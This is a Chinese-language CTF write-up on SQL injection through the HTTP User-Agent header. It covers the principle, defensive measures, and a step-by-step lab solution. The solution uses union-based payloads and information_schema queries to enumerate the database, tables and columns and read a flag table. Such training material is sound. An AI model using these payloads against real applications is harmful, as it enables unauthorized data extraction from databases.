目录
1. UA注入原理
- UA注入是一种特定类型的SQL注入攻击,它利用了用户代理(User-Agent,简称UA)字符串中包含的恶意代码来攻击应用程序。UA字符串是浏览器或其他HTTP客户端发送给服务器的一部分信息,其中包括有关客户端操作系统、浏览器版本、设备类型等信息。
- UA注入攻击的原理与常规的SQL注入攻击类似,都是通过注入恶意的SQL语句来攻击应用程序的数据库。但是UA注入攻击的特点是,它不是利用表单字段或URL参数等用户可以直接操作的输入来注入SQL,而是利用UA字符串作为输入。攻击者可以通过修改UA字符串,将恶意的SQL代码插入到应用程序的数据库查询中。
2. 防御
- 对于从UA字符串中提取的数据,始终进行充分的验证和过滤。
- 确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
- 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
- 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
3. 注入过程
3.1 初始界面
SQL 注入点不止会出现在GET 参数或POST 参数中。其中UA注入则是一种特定的SQL注入形式,它利用了应用程序中使用的UA来进行攻击。
此题为UA注入,所以我们利用bp进行抓包,找到数据包内的UA进行注入。
刷新一次后。
3.2 判断使用手法及类型
根据页面存在回显,可使用联合查询。
根据页面没有报错信息,不可使用报错注入。
【2 and 1=2】
当前select语句中的列数。
-2 union select 1,2
3.3 获取数据库 库名称
-2 union select 1,database()
3.4 获取数据表 表名称
使用的命令为:select * from 表名 where 限制条件。
table_schema=database() :选择当前连接的数据库(sqli)中的所有表。
group_concat:多个行的值合并为一个字符串的聚合函数。通俗的将就是回显出所有内容。
可以发现此处没有【flag】表,取而代之的是【gnihfyuxxz】,查看该表中的列名。
【news】表一直都存在,所以第一想法先不考虑此表中的内容。
-2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
3.5 获取列名
table_name='gnihfyuxxz' :选择表名为【gnihfyuxxz】的表的数据。得到该表中的列名【hsvdxohjvr】。
-2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='gnihfyuxxz'
3.6 获取数据
-2 union select 1,hsvdxohjvr from gnihfyuxxz